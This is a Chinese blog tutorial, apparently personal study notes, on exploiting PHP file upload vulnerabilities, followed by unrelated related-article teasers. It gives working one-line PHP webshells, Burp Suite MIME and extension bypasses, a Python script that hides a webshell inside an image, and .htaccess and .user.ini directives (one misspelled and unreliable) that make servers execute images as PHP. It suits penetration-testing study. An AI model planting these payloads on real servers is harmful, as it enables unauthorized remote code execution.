六、文件上传漏洞

news2024/9/24 17:19:35

下面内容部分:参考

一、文件上传漏洞解释

解释:文件上传漏洞一般指的就是用户能够绕过服务器的规则设置将自己的木马程序放置于服务器实现远程shell(例如使用蚁剑远程连接),常见的木马有一句话木马(php)

  1. 无需启用short_open_tag<?php@eval($_POST['mypost'])?>
  2. 需要启用short_open_tag<?=eval($_POST['mypost']);?>

1.原理

解释:文件上传漏洞如果存在可能会被攻击端获得webshell,文件上传漏洞的存在,我目前认为可能有下面几个方面

  1. 服务端过滤不力(必需用白名单机制),没有严格对内容进行过滤,放过了应该过滤掉的可疑木马程序
  2. 服务器没有把上传的文件与服务器可运行目录内容分开放置,导致文件能够被随意执行(例如php)
  3. 服务器配置有重要问题

二、文件上传漏洞执行

1.PHP

解释:下面的情况适用于php为服务器的情况

1.1 前端绕过与MIME进行检查

适用条件:服务器对在前端对于文件后缀进行筛选,或服务器在后端对用户调教的Content-Type进行检查

绕过:直接使用Burpsuite,然后上传一个带有php木马的文件,但是将其名字修改为png,这样可以绕过这两个限制,然后使用Burpsuite进行拦截将png后缀重新修改至php实现渗透

MIME常用类型

  1. text/plain
  2. text/html
  3. text/css
  4. text/javascript
  5. image/gif
  6. image/png
  7. image/jpeg
  8. image/bmp
  9. image/webp
  10. image/x-icon
  11. audio/midi
  12. audio/mpeg
  13. application/octet-stream
  14. application/xml
  15. application/pdf

1.2 黑名单绕过

解释:总所周知,在文件上传过滤处,只有白名单才是相对安全的,而黑名单存在各种各样的问题

1.2.1 大小写绕过

适用条件:windows上面部署的服务器,如IIS或者其它;服务器没有过滤大小写

解释:windows上面会自动把类似a.Php转换为a.php这样我们上传a.phP到服务器上就是可以正常运行的a.php

1.2.2 后缀绕过

适用条件:当服务器对用户采取黑名单过滤时,此时用户可以尝试多种可能能够执行php代码的文件后缀

绕过:修改文件名为webshell.php1webshell.php2此时在某些特定情况下(比如apache如果配置不当可能把php1当做php进行解析)可能会执行成功

1.2.3 重写绕过

适用条件:服务器在对文件名过滤时,如果我们上传的内容在黑名单里面,服务器可能会对内容进行删除,此时可能适用重写来进行绕过

绕过:shell.phphpp // 当匹配到php时,shell.phphpp就变为shell.php中间那个php就被删除了

1.3 文件内容验证绕过(图片)

适用条件:服务器对于图片文件不单单会去验证后缀,可能还会去验证文件头,或者内容

1.3.1 文件头

解释:对于上传的图片内容一般未必是通过后缀来进行判断,很多可能都是通过读取其内容进行判
断,一般就是读取文件头。

常见的文件头(GIF那个相对简单可以直接复制GIF89a到文件开头):

  1. JPG: FF D8 FF E0 00 10 4A 46 49 46.
  2. GIF:47 49 46 38 39 61(GIF89a).
  3. PNG:89 50 4E 47

提醒:目前从我利用的经验看,一般GIF89a能超过,其它还没有成功过

构造:

GIF89a
<?=eval($_POST['mypost']);?>
1.3.2 文件木马

解释:通过将正常的图片与php恶意木马连接来形成文件木马,目的是绕过服务器对内容的一般检测

python生成:

from PIL import Image


def create_image(file_path, file_type, payload):
    # 创建一个空的白色图片
    img = Image.new('RGB', (60, 30), color=(73, 109, 137))

    # 保存图片,并指定文件类型
    img.save(file_path, file_type)
    # 加入payload
    with open(file_path, 'a') as f:
        f.write(payload)


# 创建并保存图片

payload = '''
<?=eval($_POST['mypost']);?>
'''
# 文件类型 GIF/PNG/JPEG等等
create_image('要生成图片的文件名', '文件类型', payload)

window cmd生成:

copy 一张图片.png/b+一句话木马.php/a 生成图片名称.png

在这里插入图片描述

1.4 服务器相关绕过

1.4.1 window系统特性

解释:window系统有很多与linux不同的特性,比如创建文件后缀有空格会自动删除,利用这些特性说不定可以达到意想不到的效果

  1. 空格:index.php[空格] //window会自动解析为index.php

  2. 加点:index.php......... //window会自动解析为index.php

  3. 加::$DATA::$DATA....

    with open('inex.php::$DATA....', 'w') as f:
        f.close()
    
1.4.2 .htaccess利用

适用条件:Apache服务器

解释:在Apache当中有两个配置文件分别为httpd-conf(优先级小,管理员才可修改,重启服务器生效)与.htaccess(优先级大,可修改,立即生效),其中httpd-conf是全局文件,.htaccess是局部文件,.htaccess书写的配置能够在局部范围内覆盖httpd-conf的配置

应用:先上传一个.htaccess文件,内容如下(下面内容告诉服务器将.png内容当作php内容去进行解析),然后再上传一个被改名为.png的php木马程序即可

AddType application/x-httpd-php .png
1.4.3 .user.ini利用

相关文章:https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html

适用条件:上传的文件同执行的php程序在一个目录下面,存在于fastcgi运行的php里面

解释:在php当中有两个配置文件分别为php.ini(优先级小,重启服务器生效)与.htaccess(优先级大,修改立即生效),其中 php.ini是全局文件, .user.ini是局部文件, .user.ini书写的配置能够在局部范围内覆盖php.ini的配置

应用:先上传.user.ini,内容如下(下面的内容会让任意一个执行的php文件时,都会同时去执行自动关联的文件如下面的xx.png),如果能够成功,然后再上传一个被改名为xx.png的php木马程序即可,然后再随意访问一个php页面测试即可

注意:上传成功后可能需要等待一会才能生效(可以多传两次)

Auto-prepend-flie=xx.png

三、利用思路

注解:仅仅为本人思路,本人知识浅薄,仅供参考

  1. 先通过F12查看对方服务器是nginx还是apache,并思考可能利用的漏洞
  2. 通过修改Content-Type为正常内容的,测试服务器是否会以此为依据进行判断文件
  3. 如果不以Content-Type为依据通过上传文件test.dwadswafsfwfw测验对方是白名单还是黑名单机制

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1228077.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Gin框架源码解析

概要 目录 Gin路由详解 Gin框架路由之Radix Tree 一、路由树节点 二、请求方法树 三、路由注册以及匹配 中间件含义 Gin框架中的中间件 主要讲述Gin框架路由和中间件的详细解释。本文章将从Radix树&#xff08;基数树或者压缩前缀树&#xff09;、请求处理、路由方法树…

【Java SE】循环一些基本练习

判定一个数字是否是素数 public class Test {public static int is_sushu(int n) {if(n 1) {return 0;}int i ;for (i 2; i < Math.sqrt(n); i) {if(n % i 0 ) {break;}}if (i > n) {return 1;}return 0;}public static void main(String[] args) {Scanner scanner …

报错:HikariPool-1 - Exception during pool initialization.

问题发现&#xff1a; 原本可以运行的springboot2项目突然无法运行且报错&#xff0c;HikariPool-1 - Exception during pool initialization。 问题分析&#xff1a; 观察报错信息发现是JDBC连接失败&#xff0c;进而搜索HikariPool-1&#xff0c;搜索得知应该是applicatio…

Java中锁的深入理解

目录 对象头的理解 Monitor&#xff08;锁&#xff09; 锁类型 偏向锁 偏向锁的优化机制 轻量级锁 重量级锁 对象头的理解 在32位Java虚拟机中普通对象的对象头是占用8个字节&#xff0c;其中4个字节为Mark Word。用来存储对象的哈希值&#xff0c;对象创建后在JVM中的…

Polygon zkEVM协议治理、升级及其流程

1. 引言 随着Polygon社区开发者和内部团队的测试深入&#xff0c;当前版本的Polygon zkEVM不可避免地需更新和某些升级。 为激励开发者对Polygon zkEVM做battle-test&#xff0c;已启动了bug-bounty&#xff1a; Rewards by Threat Level 由于zk-Rollup生态系统还处于萌芽阶…

python 的 import 机制

引言 对于初学 python&#xff0c;或多或少在 import 一个 module 时遇到过 ImportError: attempted relative import with no known parent package 这样的错误信息。对于初学 python&#xff0c;遇到这样的问题是因为在执行 python xxx.py 程序时&#xff0c;xxx.py 程序中 …

〖大前端 - 基础入门三大核心之JS篇㊳〗- DOM访问元素节点

说明&#xff1a;该文属于 大前端全栈架构白宝书专栏&#xff0c;目前阶段免费&#xff0c;如需要项目实战或者是体系化资源&#xff0c;文末名片加V&#xff01;作者&#xff1a;不渴望力量的哈士奇(哈哥)&#xff0c;十余年工作经验, 从事过全栈研发、产品经理等工作&#xf…

基于springboot实现应急救援物资管理系统项目【项目源码】计算机毕业设计

基于springboot实现应急救援物资管理系统演示 JAVA简介 JavaScript是一种网络脚本语言&#xff0c;广泛运用于web应用开发&#xff0c;可以用来添加网页的格式动态效果&#xff0c;该语言不用进行预编译就直接运行&#xff0c;可以直接嵌入HTML语言中&#xff0c;写成js语言&a…

Centos7 重置 Root 密码

Centos7 重置 Root 密码 1.启动服务器2.编辑启动项3.修改密码4.重新登陆 1.启动服务器 启动服务器后&#xff0c;不要直接进入系统&#xff0c;在开机页面按键盘【E】 2.编辑启动项 按【E】后进入如下页面&#xff0c;并按向下箭头&#xff0c;找到如图位置&#xff0c;添加如…

慢日志查询

概述 MySQL的慢查询日志是MySQL提供的一种日志记录&#xff0c;它用来记录在MySQL中响应时间超过阀值的语句&#xff0c;具体指运行时间超过 long_query_time 值的SQL&#xff0c;则会被记录到慢查询日志中&#xff0c;ong_query_time 的默认值为 10&#xff0c;意思是运行10S…

JAVA多线程(5)

JAVA多线程(5) 线程安全问题概述 卖票问题分析 单窗口卖票 一个窗口(单线程)卖100张票没有问题 单线程程序是不会出现线程安全问题的 多个窗口卖不同的票 3个窗口一起卖票,卖的票不同,也不会出现问题 多线程程序,没有访问共享数据,不会产生问题 多个窗口卖相同的票 3个窗口…

QT下使用QChart绘制曲线

目录 头文件内容构造函数AddSeries方法UpdateSeries方法AppendSeriesData方法SetLegendVisiableSetRubberBandCPP内容测试函数 需要用到的头文件&#xff1a; #include <QtCharts/QChart> #include <QtCharts/QChartView> #include <QtCharts/QValueAxis> #…

大数据安全 测试

测试1、用户 hive/1.common2.hadoop.fql.comLEXIN.COM 和 nn/1.common2.hadoop.fql.com 分别对 Hive 进行查询 &#xff08;1&#xff09;HDFS 配置 vim /usr/local/fqlhadoop/hadoop/conf/core-site.xml <property><name>hadoop.proxyuser.hive.hosts</name&g…

16. @PostConstruct注解和开关原理(验证码开关、IP开关)

1►PostConstruct注解 PostConstruct是java自带的注解&#xff0c;会在java项目启动的时候先执行下面的方法 2►开关原理&#xff08;验证码开关&#xff09; 我们的项目具有验证码功能&#xff0c;旧版不支持关闭&#xff0c;新版已经支持关闭了。 我们打开页面“参数管…

go-zero微服务的使用

一、入门案例 1、使用goland创建一个工程 2、新建一个user.proto syntax "proto3";package user; // 这个地方表示生成的go的包名叫user option go_package "./user";message UserInfoRequest {int64 userId 1; }message UserInfoResponse {int64 user…

2024年csdn最新最全的Postman接口测试: postman实现参数化

什么时候会用到参数化 比如&#xff1a;一个模块要用多组不同数据进行测试 验证业务的正确性 Login模块&#xff1a;正确的用户名&#xff0c;密码 成功&#xff1b;错误的用户名&#xff0c;正确的密码 失败 postman实现参数化 在实际的接口测试中&#xff0c;部分参数…

【机器学习】特征工程:特征选择、数据降维、PCA

各位同学好&#xff0c;今天我和大家分享一下python机器学习中的特征选择和数据降维。内容有&#xff1a; &#xff08;1&#xff09;过滤选择&#xff1b;&#xff08;2&#xff09;数据降维PCA&#xff1b;&#xff08;3&#xff09;sklearn实现 那我们开始吧。 一个数据集中…

第93步 深度学习图像分割:PSPNet建模

基于WIN10的64位系统演示 一、写在前面 本期&#xff0c;我们继续学习深度学习图像分割系列的另一个模型&#xff0c;PSPNet。 二、PSPNet简介 &#xff08;1&#xff09;金字塔池化模块 (Pyramid Pooling Module) PSPNet的核心是其金字塔池化模块&#xff0c;该模块能够捕…

2024年csdn最新最全面的fiddler教程【1】

Fiddler简介 Fiddler是比较好用的web代理调试工具之一&#xff0c;它能记录并检查所有客户端与服务端的HTTP/HTTPS请求&#xff0c;能够设置断点&#xff0c;篡改及伪造Request/Response的数据&#xff0c;修改hosts&#xff0c;限制网速&#xff0c;http请求性能统计&#xff…

ERR:Navicat连接Sql Server报错

错误信息&#xff1a;报错&#xff1a;未发现数据源名称并且未指定默认驱动程序。 原因&#xff1a;Navicat没有安装Sqlserver驱动。 解决方案&#xff1a;在Navicat安装目录下找到sqlncli_x64.msi安装即可。 一键安装即可。 Navicat链接SQL Server配置 - MarchXD - 博客园 …